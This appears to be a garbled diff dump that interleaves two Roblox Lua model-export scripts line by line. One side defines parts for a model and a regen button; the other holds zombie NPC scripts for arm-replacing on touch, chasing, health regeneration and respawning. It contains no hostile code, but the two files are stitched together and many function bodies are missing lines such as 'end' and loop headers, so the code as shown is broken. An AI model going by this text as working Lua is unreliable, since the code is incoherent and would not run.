Part525.CFrame = CFrame.new(188.995117, 4.40564442, 201.000244, -0.999996722, 0.00183816976, -0.00167570391, -0.00248589041, -0.761871874, 0.647722661, -8.62044035e-05, 0.647724807, 0.76187408)
6730+
						end
6731-
Part525.Orientation = Vector3.new(-40.3699989, -0.129999995, -179.809998)
6731+
						local zee=script.Parent.Parent:findFirstChild("zarm")
6732-
Part525.Position = Vector3.new(188.995117, 4.40564442, 201.000244)
6732+
						if zee~=nil then
6733-
Part525.Rotation = Vector3.new(-40.3699989, -0.099999994, -179.889999)
6733+
							local zlarm=zee:clone()
6734-
Part525.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
6734+
							local zrarm=zee:clone()
6735-
Part525.Velocity = Vector3.new(0.768670738, 0.335423052, 2.91099596)
6735+
							if zlarm~=nil then
6736-
Part525.Size = Vector3.new(4, 4, 4)
6736+
6737-
Part525.BottomSurface = Enum.SurfaceType.Smooth
6737+
							local rot=CFrame.new(0, 0, 0, 0, 0, 1, 0, 1, 0, -1, 0, 0)
6738-
Part525.BrickColor = BrickColor.new("Really black")
6738+
								zlarm.CFrame=h.Parent.Torso.CFrame * CFrame.new(Vector3.new(-1.5,0.5,-0.5)) * rot
6739-
Part525.Friction = 0.89999997615814
6739+
								zrarm.CFrame=h.Parent.Torso.CFrame * CFrame.new(Vector3.new(1.5,0.5,-0.5)) * rot
6740-
Part525.LeftSurface = Enum.SurfaceType.Weld
6740+
								zlarm.Parent=h.Parent
6741-
Part525.RightParamA = 0
6741+
								zrarm.Parent=h.Parent
6742-
Part525.RightParamB = 0
6742+
								zlarm:makeJoints()
6743-
Part525.RightSurface = Enum.SurfaceType.Hinge
6743+
								zrarm:makeJoints()
6744-
Part525.RotVelocity = Vector3.new(-0.0236247573, -1.16637421, 0.0850294679)
6744+
								zlarm.Anchored=false
6745-
Part525.TopSurface = Enum.SurfaceType.Smooth
6745+
								zrarm.Anchored=false
6746-
Part525.brickColor = BrickColor.new("Really black")
6746+
								wait(0.1)
6747-
Part525.FormFactor = Enum.FormFactor.Symmetric
6747+
								h.Parent.Head.Color=zee.Color
6748-
Part525.formFactor = Enum.FormFactor.Symmetric
6748+
							else print("no zee"); return end
6749-
Part525.Shape = Enum.PartType.Cylinder
6749+
						end
6750-
Part526.Name = "Smooth Block Model"
6750+
						wait(1)
6751-
Part526.Parent = Model480
6751+
						cantouch=1
6752-
Part526.CFrame = CFrame.new(189.5, 9.59999943, 190.5, 1, 0, 0, 0, 1, 0, 0, 0, 1)
6752+
					end
6753-
Part526.Position = Vector3.new(189.5, 9.59999943, 190.5)
6753+
				end
6754-
Part526.Color = Color3.new(0.152941, 0.27451, 0.176471)
6754+
6755-
Part526.Velocity = Vector3.new(0.118539587, 0.119133219, -0.449698359)
6755+
6756-
Part526.Size = Vector3.new(1, 2.79999995, 1)
6756+
6757-
Part526.BackSurface = Enum.SurfaceType.Weld
6757+
6758-
Part526.BottomSurface = Enum.SurfaceType.Weld
6758+
6759-
Part526.BrickColor = BrickColor.new("Earth green")
6759+
6760-
Part526.RotVelocity = Vector3.new(0.0398141369, 0.0132681066, -0.000654927688)
6760+
Part393.Name = "zarm"
6761-
Part526.TopSurface = Enum.SurfaceType.Weld
6761+
Part393.Parent = Model383
6762-
Part526.brickColor = BrickColor.new("Earth green")
6762+
Part393.CFrame = CFrame.new(182.091461, 5.09995508, 245.98645, -1.00000072, 0, 0, 0, 1, 0, 0, 0, -1.00000072)
6763-
Part526.FormFactor = Enum.FormFactor.Plate
6763+
Part393.Orientation = Vector3.new(0, 180, 0)
6764-
Part526.formFactor = Enum.FormFactor.Plate
6764+
Part393.Position = Vector3.new(182.091461, 5.09995508, 245.98645)
6765-
SpecialMesh527.Parent = Part526
6765+
Part393.Rotation = Vector3.new(-180, 0, -180)
6766-
SpecialMesh527.MeshType = Enum.MeshType.Wedge
6766+
Part393.Color = Color3.new(0.631373, 0.768628, 0.54902)
6767-
Part528.Name = "Smooth Block Model"
6767+
Part393.Size = Vector3.new(2, 1, 1)
6768-
Part528.Parent = Model480
6768+
Part393.BottomSurface = Enum.SurfaceType.Smooth
6769-
Part528.CFrame = CFrame.new(190.5, 6.60000467, 190.5, 0, 0, 1, 0, 1, 0, -1, 0, 0)
6769+
Part393.BrickColor = BrickColor.new("Medium green")
6770-
Part528.Orientation = Vector3.new(0, 90, 0)
6770+
Part393.TopSurface = Enum.SurfaceType.Smooth
6771-
Part528.Position = Vector3.new(190.5, 6.60000467, 190.5)
6771+
Part393.brickColor = BrickColor.new("Medium green")
6772-
Part528.Rotation = Vector3.new(0, 90, 0)
6772+
Part393.FormFactor = Enum.FormFactor.Symmetric
6773-
Part528.Color = Color3.new(0.152941, 0.27451, 0.176471)
6773+
Part393.formFactor = Enum.FormFactor.Symmetric
6774-
Part528.Velocity = Vector3.new(0.116574809, 0.118478291, -0.582408667)
6774+
Script394.Parent = Part393
6775-
Part528.Size = Vector3.new(1, 2.4000001, 1)
6775+
6776-
Part528.BottomSurface = Enum.SurfaceType.Weld
6776+
wait(1)
6777-
Part528.BrickColor = BrickColor.new("Earth green")
6777+
owner=script.Parent.Parent.Name
6778-
Part528.RotVelocity = Vector3.new(0.0398141369, 0.0132681066, -0.000654927688)
6778+
6779-
Part528.TopSurface = Enum.SurfaceType.Weld
6779+
function onTouched(part)
6780-
Part528.brickColor = BrickColor.new("Earth green")
6780+
	if part.Parent ~= nil then
6781-
Part528.FormFactor = Enum.FormFactor.Plate
6781+
		local h = part.Parent:findFirstChild("Humanoid")
6782-
Part528.formFactor = Enum.FormFactor.Plate
6782+
			if h~=nil then
6783-
Part529.Name = "Smooth Block Model"
6783+
				if cantouch~=0 then
6784-
Part529.Parent = Model480
6784+
					if h.Parent.Name~=owner then
6785-
Part529.CFrame = CFrame.new(190.5, 7.80000305, 201, 0, 0, 1, 0, 1, 0, -1, 0, 0)
6785+
						
6786-
Part529.Orientation = Vector3.new(0, 90, 0)
6786+
						if h.Parent:findFirstChild("zarm")~=nil then return end
6787-
Part529.Position = Vector3.new(190.5, 7.80000305, 201)
6787+
6788-
Part529.Rotation = Vector3.new(0, 90, 0)
6788+
						cantouch=0
6789-
Part529.Color = Color3.new(0.152941, 0.27451, 0.176471)
6789+
6790-
Part529.Velocity = Vector3.new(0.256675839, -0.299570173, -0.534631789)
6790+
						local larm=h.Parent:findFirstChild("Left Arm")
6791-
Part529.Size = Vector3.new(6, 0.800000012, 1)
6791+
						local rarm=h.Parent:findFirstChild("Right Arm")
6792-
Part529.BottomSurface = Enum.SurfaceType.Weld
6792+
						
6793-
Part529.BrickColor = BrickColor.new("Earth green")
6793+
						if larm~=nil then
6794-
Part529.RotVelocity = Vector3.new(0.0398141369, 0.0132681066, -0.000654927688)
6794+
							larm:remove()
6795-
Part529.TopSurface = Enum.SurfaceType.Smooth
6795+
						end
6796-
Part529.brickColor = BrickColor.new("Earth green")
6796+
						if rarm~=nil then
6797-
Part529.FormFactor = Enum.FormFactor.Plate
6797+
							rarm:remove()
6798-
Part529.formFactor = Enum.FormFactor.Plate
6798+
						end
6799-
Part530.Name = "Smooth Block Model"
6799+
						local zee=script.Parent.Parent:findFirstChild("zarm")
6800-
Part530.Parent = Model480
6800+
						if zee~=nil then
6801-
Part530.CFrame = CFrame.new(182, 7.40000582, 187, 1, 0, 0, 0, 1, 0, 0, -0, 1)
6801+
							local zlarm=zee:clone()
6802-
Part530.Position = Vector3.new(182, 7.40000582, 187)
6802+
							local zrarm=zee:clone()
6803-
Part530.Color = Color3.new(0.152941, 0.27451, 0.176471)
6803+
							if zlarm~=nil then
6804-
Part530.Velocity = Vector3.new(0.0706603825, 0.263394654, -0.437778413)
6804+
6805-
Part530.Size = Vector3.new(4, 0.800000012, 6)
6805+
							local rot=CFrame.new(0, 0, 0, 0, 0, 1, 0, 1, 0, -1, 0, 0)
6806-
Part530.BottomParamA = -0.30000001192093
6806+
								zlarm.CFrame=h.Parent.Torso.CFrame * CFrame.new(Vector3.new(-1.5,0.5,-0.5)) * rot
6807-
Part530.BottomParamB = 0.30000001192093
6807+
								zrarm.CFrame=h.Parent.Torso.CFrame * CFrame.new(Vector3.new(1.5,0.5,-0.5)) * rot
6808-
Part530.BottomSurface = Enum.SurfaceType.Smooth
6808+
								zlarm.Parent=h.Parent
6809-
Part530.BrickColor = BrickColor.new("Earth green")
6809+
								zrarm.Parent=h.Parent
6810-
Part530.RotVelocity = Vector3.new(0.0398141369, 0.0132681066, -0.000654927688)
6810+
								zlarm:makeJoints()
6811-
Part530.TopSurface = Enum.SurfaceType.Smooth
6811+
								zrarm:makeJoints()
6812-
Part530.brickColor = BrickColor.new("Earth green")
6812+
								zlarm.Anchored=false
6813-
Part530.FormFactor = Enum.FormFactor.Plate
6813+
								zrarm.Anchored=false
6814-
Part530.formFactor = Enum.FormFactor.Plate
6814+
								wait(0.1)
6815-
Part531.Name = "Smooth Block Model"
6815+
								h.Parent.Head.Color=zee.Color
6816-
Part531.Parent = Model480
6816+
							else print("no zee"); return end
6817-
Part531.CFrame = CFrame.new(189, 6.00000668, 189.5, -1, 0, 0, 0, -1, 0, 0, 0, 1)
6817+
						end
6818-
Part531.Orientation = Vector3.new(0, 0, 180)
6818+
						wait(1)
6819-
Part531.Position = Vector3.new(189, 6.00000668, 189.5)
6819+
						cantouch=1
6820-
Part531.Rotation = Vector3.new(0, 0, -180)
6820+
					end
6821-
Part531.Color = Color3.new(0.152941, 0.27451, 0.176471)
6821+
				end
6822-
Part531.Velocity = Vector3.new(0.102913752, 0.159274817, -0.586394906)
6822+
6823-
Part531.Size = Vector3.new(4, 2, 1)
6823+
6824-
Part531.BottomSurface = Enum.SurfaceType.Weld
6824+
6825-
Part531.BrickColor = BrickColor.new("Earth green")
6825+
6826-
Part531.RightSurface = Enum.SurfaceType.Weld
6826+
6827-
Part531.RotVelocity = Vector3.new(0.0398141369, 0.0132681066, -0.000654927688)
6827+
6828-
Part531.TopSurface = Enum.SurfaceType.Smooth
6828+
ObjectValue395.Name = "IsNZ"
6829-
Part531.brickColor = BrickColor.new("Earth green")
6829+
ObjectValue395.Parent = Model383
6830-
Part531.FormFactor = Enum.FormFactor.Symmetric
6830+
IntValue396.Name = "Mode"
6831-
Part531.formFactor = Enum.FormFactor.Symmetric
6831+
IntValue396.Parent = Model383
6832-
SpecialMesh532.Parent = Part531
6832+
Script397.Parent = Model383
6833-
SpecialMesh532.MeshType = Enum.MeshType.Wedge
6833+
table.insert(cors,sandbox(Script397,function()
6834-
Part533.Name = "Smooth Block Model"
6834+
local larm = script.Parent:FindFirstChild("Left Arm")
6835-
Part533.Parent = Model480
6835+
local rarm = script.Parent:FindFirstChild("Right Arm")
6836-
Part533.CFrame = CFrame.new(181.999512, 4.40532494, 186.999146, 0.999997914, -0.00172762445, 0.000960616744, -0.00197420339, -0.897304595, 0.441407144, 9.92550922e-05, -0.441408157, -0.897306323)
6836+
6837-
Part533.Orientation = Vector3.new(-26.1899986, 179.940002, -179.869995)
6837+
function findNearestTorso(pos)
6838-
Part533.Position = Vector3.new(181.999512, 4.40532494, 186.999146)
6838+
	local list = game.Workspace:children()
6839-
Part533.Rotation = Vector3.new(-153.809998, 0.0599999987, 0.099999994)
6839+
	local torso = nil
6840-
Part533.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
6840+
	local dist = 1000
6841-
Part533.Velocity = Vector3.new(0.0873932913, -0.0895851403, 0.11389707)
6841+
	local temp = nil
6842-
Part533.Size = Vector3.new(4, 4, 4)
6842+
	local human = nil
6843-
Part533.BottomSurface = Enum.SurfaceType.Smooth
6843+
	local temp2 = nil
6844-
Part533.BrickColor = BrickColor.new("Really black")
6844+
	for x = 1, #list do
6845-
Part533.Friction = 0.89999997615814
6845+
		temp2 = list[x]
6846-
Part533.LeftSurface = Enum.SurfaceType.Weld
6846+
		if (temp2.className == "Model") and (temp2 ~= script.Parent) then
6847-
Part533.RightParamA = 0
6847+
			temp = temp2:findFirstChild("Right Arm")
6848-
Part533.RightParamB = 0
6848+
			human = temp2:findFirstChild("Humanoid")
6849-
Part533.RightSurface = Enum.SurfaceType.Hinge
6849+
			if (temp ~= nil) and (human ~= nil) and (human.Health > 0) then
6850-
Part533.RotVelocity = Vector3.new(-0.00808374118, 0.0488550216, -0.0830192044)
6850+
				if (temp.Position - pos).magnitude < dist then
6851-
Part533.TopSurface = Enum.SurfaceType.Smooth
6851+
					torso = temp
6852-
Part533.brickColor = BrickColor.new("Really black")
6852+
					dist = (temp.Position - pos).magnitude
6853-
Part533.FormFactor = Enum.FormFactor.Symmetric
6853+
				end
6854-
Part533.formFactor = Enum.FormFactor.Symmetric
6854+
6855-
Part533.Shape = Enum.PartType.Cylinder
6855+
6856-
Part534.Name = "Smooth Block Model"
6856+
6857-
Part534.Parent = Model480
6857+
	return torso
6858-
Part534.CFrame = CFrame.new(189, 6.00000668, 184.5, 1, 0, 0, 0, -1, 0, 0, 0, -1)
6858+
6859-
Part534.Orientation = Vector3.new(0, 180, 180)
6859+
6860-
Part534.Position = Vector3.new(189, 6.00000668, 184.5)
6860+
6861-
Part534.Rotation = Vector3.new(-180, 0, 0)
6861+
6862-
Part534.Color = Color3.new(0.152941, 0.27451, 0.176471)
6862+
6863-
Part534.Velocity = Vector3.new(0.0365732163, 0.358345509, -0.586394906)
6863+
6864-
Part534.Size = Vector3.new(4, 2, 1)
6864+
	wait(math.random(1,5))
6865-
Part534.BottomSurface = Enum.SurfaceType.Weld
6865+
	local target = findNearestTorso(script.Parent.Torso.Position)
6866-
Part534.BrickColor = BrickColor.new("Earth green")
6866+
	if target ~= nil then
6867-
Part534.LeftSurface = Enum.SurfaceType.Weld
6867+
		script.Parent.Humanoid:MoveTo(target.Position, target)
6868-
Part534.RotVelocity = Vector3.new(0.0398141369, 0.0132681066, -0.000654927688)
6868+
6869-
Part534.TopSurface = Enum.SurfaceType.Smooth
6869+
6870-
Part534.brickColor = BrickColor.new("Earth green")
6870+
6871-
Part534.FormFactor = Enum.FormFactor.Symmetric
6871+
6872-
Part534.formFactor = Enum.FormFactor.Symmetric
6872+
6873-
SpecialMesh535.Parent = Part534
6873+
Script398.Name = "Health"
6874-
SpecialMesh535.MeshType = Enum.MeshType.Wedge
6874+
Script398.Parent = Model383
6875-
Part536.Name = "Smooth Block Model"
6875+
table.insert(cors,sandbox(Script398,function()
6876-
Part536.Parent = Model480
6876+
function waitForChild(parent, childName)
6877-
Part536.CFrame = CFrame.new(189, 7.40000582, 187, 1, 0, 0, 0, 1, 0, 0, 0, 1)
6877+
	while true do
6878-
Part536.Position = Vector3.new(189, 7.40000582, 187)
6878+
		local child = parent:findFirstChild(childName)
6879-
Part536.Color = Color3.new(0.152941, 0.27451, 0.176471)
6879+
		if child then
6880-
Part536.Velocity = Vector3.new(0.0706603825, 0.258810163, -0.530655146)
6880+
6881-
Part536.Size = Vector3.new(4, 0.800000012, 6)
6881+
6882-
Part536.BottomParamA = -0.30000001192093
6882+
		parent.ChildAdded:wait()
6883-
Part536.BottomParamB = 0.30000001192093
6883+
6884-
Part536.BottomSurface = Enum.SurfaceType.Smooth
6884+
6885-
Part536.BrickColor = BrickColor.new("Earth green")
6885+
6886-
Part536.RotVelocity = Vector3.new(0.0398141369, 0.0132681066, -0.000654927688)
6886+
-- declarations
6887-
Part536.TopSurface = Enum.SurfaceType.Smooth
6887+
6888-
Part536.brickColor = BrickColor.new("Earth green")
6888+
local Figure = script.Parent
6889-
Part536.FormFactor = Enum.FormFactor.Plate
6889+
local Head = waitForChild(Figure, "Head")
6890-
Part536.formFactor = Enum.FormFactor.Plate
6890+
local Humanoid = waitForChild(Figure, "Humanoid")
6891-
Part537.Name = "Smooth Block Model"
6891+
Humanoid.Health=500
6892-
Part537.Parent = Model480
6892+
-- regeneration
6893-
Part537.CFrame = CFrame.new(185.5, 6.60000467, 187, 0, 0, 1, 0, 1, 0, -1, 0, 0)
6893+
6894-
Part537.Orientation = Vector3.new(0, 90, 0)
6894+
	local s = wait(4)
6895-
Part537.Position = Vector3.new(185.5, 6.60000467, 187)
6895+
	local health = Humanoid.Health
6896-
Part537.Rotation = Vector3.new(0, 90, 0)
6896+
	if health > 0 and health < Humanoid.MaxHealth then
6897-
Part537.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
6897+
		health = health + 0.08 * s * Humanoid.MaxHealth
6898-
Part537.Velocity = Vector3.new(0.0701364353, 0.261102378, -0.516068101)
6898+
		if health * 1.05 < Humanoid.MaxHealth then
6899-
Part537.Size = Vector3.new(6, 2.4000001, 3)
6899+
			Humanoid.Health = health
6900-
Part537.BottomSurface = Enum.SurfaceType.Weld
6900+
		else
6901-
Part537.BrickColor = BrickColor.new("Really black")
6901+
			Humanoid.Health = Humanoid.MaxHealth
6902-
Part537.RotVelocity = Vector3.new(0.0398141369, 0.0132681066, -0.000654927688)
6902+
6903-
Part537.TopSurface = Enum.SurfaceType.Smooth
6903+
6904-
Part537.brickColor = BrickColor.new("Really black")
6904+
6905-
Part537.FormFactor = Enum.FormFactor.Plate
6905+
6906-
Part537.formFactor = Enum.FormFactor.Plate
6906+
6907-
Part538.Name = "Smooth Block Model"
6907+
Script399.Name = "Respawn"
6908-
Part538.Parent = Model480
6908+
Script399.Parent = Model383
6909-
Part538.CFrame = CFrame.new(182, 6.00000668, 184.5, 1, 0, 0, 0, -1, 0, 0, 0, -1)
6909+
6910-
Part538.Orientation = Vector3.new(0, 180, 180)
6910+
name="Humanoid"
6911-
Part538.Position = Vector3.new(182, 6.00000668, 184.5)
6911+
6912-
Part538.Rotation = Vector3.new(-180, 0, 0)
6912+
robo=script.Parent:clone()
6913-
Part538.Color = Color3.new(0.152941, 0.27451, 0.176471)
6913+
6914-
Part538.Velocity = Vector3.new(0.0365732163, 0.36293, -0.493518174)
6914+
6915-
Part538.Size = Vector3.new(4, 2, 1)
6915+
	wait(1)
6916-
Part538.BottomSurface = Enum.SurfaceType.Weld
6916+
	if script.Parent.Humanoid.Health<1 then
6917-
Part538.BrickColor = BrickColor.new("Earth green")
6917+
		robot=robo:clone()
6918-
Part538.RightSurface = Enum.SurfaceType.Weld
6918+
		robot.Parent=script.Parent.Parent
6919-
Part538.RotVelocity = Vector3.new(0.0398141369, 0.0132681066, -0.000654927688)
6919+
		robot:makeJoints()
6920-
Part538.TopSurface = Enum.SurfaceType.Smooth
6920+
		script.Parent:remove()
6921-
Part538.brickColor = BrickColor.new("Earth green")
6921+
6922-
Part538.FormFactor = Enum.FormFactor.Symmetric
6922+
6923-
Part538.formFactor = Enum.FormFactor.Symmetric
6923+
6924-
SpecialMesh539.Parent = Part538
6924+
6925-
SpecialMesh539.MeshType = Enum.MeshType.Wedge
6925+
6926-
Part540.Name = "Regen Button"
6926+
6927-
Part540.Parent = Model479
6927+
6928-
Part540.CFrame = CFrame.new(175.996582, 3.81911373, 192.982544, -3.33786011e-06, 7.3791387e-05, 0.999999881, -0.000226579898, 1, -7.37921728e-05, -0.999999881, -0.00022658016, -3.33786011e-06)
6928+
Part400.Name = "Spawn Location"
6929-
Part540.Orientation = Vector3.new(0, 90, -0.00999999978)
6929+
Part400.Parent = Model382
6930-
Part540.Position = Vector3.new(175.996582, 3.81911373, 192.982544)
6930+
Part400.CFrame = CFrame.new(182.091431, 0.600017011, 247.48645, -1.00000024, 0, 0, 0, 1, 0, 0, 0, -1.00000024)
6931-
Part540.Rotation = Vector3.new(92.5899963, 89.9700012, -92.5899963)
6931+
Part400.Orientation = Vector3.new(0, 180, 0)
6932-
Part540.Color = Color3.new(0.419608, 0.196078, 0.486275)
6932+
Part400.Position = Vector3.new(182.091431, 0.600017011, 247.48645)
6933-
Part540.Size = Vector3.new(6, 1.20000005, 6)
6933+
Part400.Rotation = Vector3.new(-180, 0, -180)
6934-
Part540.Anchored = true
6934+
Part400.Color = Color3.new(0.631373, 0.768628, 0.54902)
6935-
Part540.BottomSurface = Enum.SurfaceType.Smooth
6935+
Part400.Size = Vector3.new(6, 1.20000005, 6)
6936-
Part540.BrickColor = BrickColor.new("Bright violet")
6936+
Part400.BottomSurface = Enum.SurfaceType.Weld
6937-
Part540.TopSurface = Enum.SurfaceType.Smooth
6937+
Part400.BrickColor = BrickColor.new("Medium green")
6938-
Part540.brickColor = BrickColor.new("Bright violet")
6938+
6939-
Script541.Name = "Regen"
6939+
Part400.brickColor = BrickColor.new("Medium green")
6940-
Script541.Parent = Part540
6940+
Decal401.Parent = Part400
6941-
table.insert(cors,sandbox(Script541,function()
6941+
Decal401.Texture = "http://www.roblox.com/asset/?id=34541722"
6942-
--Made by arealydeadman, just group with the model to get it to work.  This button also works for planes.
6942+
Decal401.Face = Enum.NormalId.Top
6943-
--Do not change anything besides the lines mentioned below.
6943+
6944
	v.Parent = workspace
6945-
model = script.Parent.Parent--Indicates that the script interacts with the model the button is grouped with.
6945+
6946-
messageText = ""--If you want a message to appear upon pressing, type it here.
6946+
6947
mas:Destroy()
6948-
message = Instance.new("Message")
6948+
6949-
message.Text = messageText
6949+
6950-
backup = model:clone()
6950+
6951-
enabled = true
6951+
6952
end